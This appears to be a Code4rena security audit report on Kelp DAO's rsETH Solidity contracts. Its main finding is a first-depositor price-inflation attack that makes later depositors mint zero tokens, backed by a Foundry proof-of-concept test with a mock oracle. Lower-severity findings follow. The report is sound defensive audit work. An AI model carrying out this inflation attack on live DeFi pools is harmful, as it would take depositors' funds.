Kelp DAO | rsETH - joaovwfreire's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L47-L51 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95-L110

Vulnerability details

Impact

getRSETHPrice is an LRTOracle function called by the LRTDepositPool to figure the amount of tokens to mint whenever a user deposits.

It is the denominator of the final division operation of this function call:

function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
...
rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
}

The getRSETHPrice function works by multiplying the total amount of ETH in the pool and then dividing it by the existing rsETH supply. The total amount of ETH in the pool is processed as follows: first the assetPrice is figured by calling a ChainlinkOracle

uint256 assetER = getAssetPrice(asset);

Then the LRTDepositPool is called to get the total amount of assets deposited:

uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);

And finally both values are multiplied.

The issue lies at getTotalAssetDeposits as the function utilizes the current ERC-20 balances sum of the Deposit Pool, the Node Delegators and the EigenLayer strategies to process how much is deposited at the pool.

        assetLyingInDepositPool = IERC20(asset).balanceOf(address(this));
        uint256 ndcsCount = nodeDelegatorQueue.length;

        for (uint256 i; i < ndcsCount;) {

            assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]);

            assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset);
            unchecked {
                ++i;
            }
        }

This leads to an edge case in which a malicious user can first transfer an arbitrary amount of underlying tokens (let's consider 1e18 rETH) to any of the involved contracts then mint exactly 1 rsETH by calling depositAsset on a pool that has never received a deposit before.

The main state change this generates is at the following code line at the getRSETHPrice at the LRTOracle contract:

return totalETHInPool / rsEthSupply;

The 1e18 rETH multiplied by it's price (approximately 1.09e18) end divided by exactly 1 rsETH, yields a final rsETH price of 1e36 per token.

As getRsETHAmountToMint at the LRTDepositPool does not protect users from minting zero tokens, users that deposit less than 1e18 rETH will lose their tokens due to solidity's round-down division:

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

Proof of Concept

Create a file named "LRTDepositPoolExploit.t.sol" at the test folder. Paste the following code snippet:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import "forge-std/console.sol";

contract LRTOracleMock is RSETHTest{
    uint256 public rsTotalSupply;
    function updateSupply(uint256 supply) external {
        rsTotalSupply = supply;
    }
    
    function getAssetPrice(address) external pure returns (uint256) {
        return 1e18;
    }

    // For this Mock, we are considering the assetBalance * price divided by rsETHSupply
    function getRSETHPrice() external view returns (uint256) {
        if(rsTotalSupply != 0) {
            // the node delegator asset balance is considered to be 1 ether
            // price is rounded to 1 ether, but normally is around 1.06-1.09 ether
            // NODE DELEGATOR ASSET BALANCE * PRICE / RSETH SUPPLY

            return 1e18* 1e18 /rsTotalSupply;
        }
        // return this when totalSupply is zero.
        return 1e18;
    }
}

contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;
    LRTOracleMock public oracle;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();
        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));
        oracle = new LRTOracleMock();
        // add oracle to LRT config
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(oracle));
        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));
        vm.stopPrank();
    }
}

contract LRTDepositPoolInitialize is LRTDepositPoolTest {
    function test_RevertWhenLRTConfigIsZeroAddress() external {
        vm.expectRevert(UtilLib.ZeroAddressNotAllowed.selector);
        lrtDepositPool.initialize(address(0));
    }
    
    function testInitializeContractsVariables() external {
        lrtDepositPool.initialize(address(lrtConfig));
        assertEq(lrtDepositPool.maxNodeDelegatorCount(), 10, "Max node delegator count is not set");
        assertEq(address(lrtConfig), address(lrtDepositPool.lrtConfig()), "LRT config address is not set");
    }
}

contract LRTDepositPoolDepositAssetExploit is LRTDepositPoolTest {
    address public rETHAddress;

    function setUp() public override {
        super.setUp();
        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));
        rETHAddress = address(rETH);
        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();
    }

    function test_DepositAsset() external {
        vm.startPrank(alice);
        console.log("rsETH total supply 1 :", rseth.totalSupply());
        console.log("rsETH price 1:", oracle.getRSETHPrice());
        
        // alice balance of rsETH before deposit
        uint256 aliceBalanceBefore = rseth.balanceOf(address(alice));
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);
        oracle.updateSupply(rseth.totalSupply());

        // alice balance of rsETH after deposit
        uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
        console.log("\nAlice balance before deposit: ", aliceBalanceBefore);
        console.log("Alice balance after deposit: ", aliceBalanceAfter);
        console.log("rsETH total supply 2 : ", rseth.totalSupply());
        console.log("rsETH price 2: ", oracle.getRSETHPrice());
        vm.stopPrank();
        
        assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 1, "Total asset deposits is not set");
        assertGt(aliceBalanceAfter, aliceBalanceBefore, "Alice balance is not set");

        // now bob will deposit 1 rETH
        vm.startPrank(bob);
        
        // bob balance of rsETH before deposit
        uint256 bobBalanceBefore = rseth.balanceOf(address(bob));
        rETH.approve(address(lrtDepositPool), 1 ether);
        lrtDepositPool.depositAsset(rETHAddress, 1 ether -1);
        oracle.updateSupply(rseth.totalSupply());

        // bob balance of rsETH after deposit
        uint256 bobBalanceAfter = rseth.balanceOf(address(bob));
        console.log("\nBob balance before deposit: ", bobBalanceBefore);
        console.log("Bob balance after deposit: ", bobBalanceAfter);
        console.log("rsETH total supply 3 : ", rseth.totalSupply());
        console.log("rsETH price 3: ", oracle.getRSETHPrice());
        vm.stopPrank();
    }
}

Run it with the following command:

forge test --match-path "test/LRTDepositPoolExploit.t.sol" -vvv

Tools Used

Manual review

Recommended Mitigation Steps

Users being able to mint low token amounts can inflate the rsETH price, specially on a pool initial state. The safest option would be to introduce a lower bound on the amount of rsETH that can be minted, in a way that ensures rsETH is not inflated. A party holding 1e0 rsETH is problematic, but not very reallistic for the average end user so a lower limit of 1e12 rsETH is still a very small amount that does not pose the risk of diluting one's deposits.

Assessed type

Oracle

lo-01 LRTConfig doesn't remove supported assets

The contract only allows the manager to add new supported assets by calling addNewSupportedAsset, but there is not function to remove an asset.

lo-02 No upper limits on the amount of supported assets can lead to DOS

Reference

Impact

The lack of upper bounds on the amount of supported assets can lead to getRSETHPrice reversion and lock the contract's minting functionalities.

Proof of concept

There's no upper limit on the amount of supported assets that can be added at the LRTConfig contract.

    function _addNewSupportedAsset(address asset, uint256 depositLimit) private {
        UtilLib.checkNonZeroAddress(asset);
        if (isSupportedAsset[asset]) {
            revert AssetAlreadySupported();
        }
        isSupportedAsset[asset] = true;
        supportedAssetList.push(asset);
        depositLimitByAsset[asset] = depositLimit;
        emit AddedNewSupportedAsset(asset, depositLimit);

    }

If too many assets are supported, getRSETHPrice at the LRTOracle will revert due to the following code snippet, that represents a loop which iterations amount is determined by the total supported assets:

       uint256 supportedAssetCount = supportedAssets.length;
        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);
            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;
            unchecked {
                ++asset_idx;
            }
        }

Mitigation

Introduce a check on the total amount of supported assets in order to protect the function from running loops iterate too many times.

lo-03 getAssetPrice at the ChainlinkPriceOracle contract assumes all Chainlink Data Feeds return the same amount of decimals

getAssetPrice calls a Chainlink data feed and then returns this value to the deposit pool at getRsETHAmountToMint. The issue is not all data feed return the same amount of decimals. USD pairs return 8 decimals. ETH pairs usually return 18 decimals, but KNC and FTM data feeds return 15 decimals and LINK data feed returns 16.

Notice how the function does not take into account the amount of decimals provided by the data feed: function getAssetPrice(address asset) external view onlySupportedAsset(asset) returns (uint256) {         return AggregatorInterface(assetPriceFeed[asset]).latestAnswer();     }

It is understood that the currently EigenLayer integrated contracts actually do have 18 decimals data feed. This should be kept in mind in case integration is applied to new assets.

lo-04 Can add the same node Delegator twice at an LRTDepositPoolContract

Reference When the LRTAdmin calls addNodeDelegatorContractToQueue, there are no checks to ensure the nodeDelegator is already included at the queue.

function addNodeDelegatorContractToQueue(address[] calldata nodeDelegatorContracts) external onlyLRTAdmin {
        uint256 length = nodeDelegatorContracts.length;
        if (nodeDelegatorQueue.length + length > maxNodeDelegatorCount) {
            revert MaximumNodeDelegatorCountReached();
        }
        for (uint256 i; i < length;) {
            UtilLib.checkNonZeroAddress(nodeDelegatorContracts[i]);
            nodeDelegatorQueue.push(nodeDelegatorContracts[i]);
            emit NodeDelegatorAddedinQueue(nodeDelegatorContracts[i]);
            unchecked {
                ++i;
            }
        }
    }

This creates a couple of side effects:

1. getAssetDistributionData will account for a balance more than once:

function getAssetDistributionData(address asset)
        public
        view
        override
        onlySupportedAsset(asset)
        returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer)
    {
...

        for (uint256 i; i < ndcsCount;) {
            assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]);
            assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset);
...
        }
    }

2. getTotalAssetDeposits at the LRTDepositPool will yield inflated balances.
3. getAssetCurrentLimit will subtract a value higher than it should.

function getAssetCurrentLimit(address asset) public view override returns (uint256) {
return lrtConfig.depositLimitByAsset(asset) - getTotalAssetDeposits(asset);
    }

4. depositAsset will consider lower MaximumDepositLimits wrongly:

function depositAsset(
        address asset,
        uint256 depositAmount
    ){
    ...
	if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
     }
     ...
}

5. As getTotalAssetDeposits is utilized at LRTOracle, the oracle will end up providing wrong rsETH prices as well.

Since this is an LRTAdmin determined action, it is unlikely to happen, but has a important impact at the pool state.

lo-05 getAssetBalances at the NodeDelegator loops through an externally determined array

Reference The function is called by the NodeDelegator and can be a point of gas limit breach in case the strategies array become too big, leading to a DOS whenever this function is called inside a transaction.

function getAssetBalances()
        external
        view
        override
        returns (address[] memory assets, uint256[] memory assetBalances)
    {
    ...
(IStrategy[] memory strategies,) =        IEigenStrategyManager(eigenlayerStrategyManagerAddress).getDeposits(address(this));
        uint256 strategiesLength = strategies.length;
        assets = new address[](strategiesLength);
        assetBalances = new uint256[](strategiesLength);
        for (uint256 i = 0; i < strategiesLength;) {
            assets[i] = address(IStrategy(strategies[i]).underlyingToken());
            assetBalances[i] = IStrategy(strategies[i]).userUnderlyingView(address(this));
            unchecked {
                ++i;
            }
        }
 }

lo-06 updatePriceFeedFor at the ChainlinkPriceOracle contract may utilize a non-price feed account

Reference At the updatePriceFeedFor function, the ChainlinkPriceOracle contract does not check whether the target address is compliant with a price feed interface. This can lead to the contract utilizing invalid data feeds for it's prices.

function updatePriceFeedFor(address asset, address priceFeed) external onlyLRTManager onlySupportedAsset(asset) {
        UtilLib.checkNonZeroAddress(priceFeed);
        assetPriceFeed[asset] = priceFeed;
        emit AssetPriceFeedUpdate(asset, priceFeed);
    }

typo-01 - qa-119

Reference The comment refers to different tokens

/// @param admin Admin address
/// @param stETH stETH address
/// @param rETH rETH address
/// @param cbETH cbETH address
/// @param rsETH_ cbETH address

While it should refer to rsETH.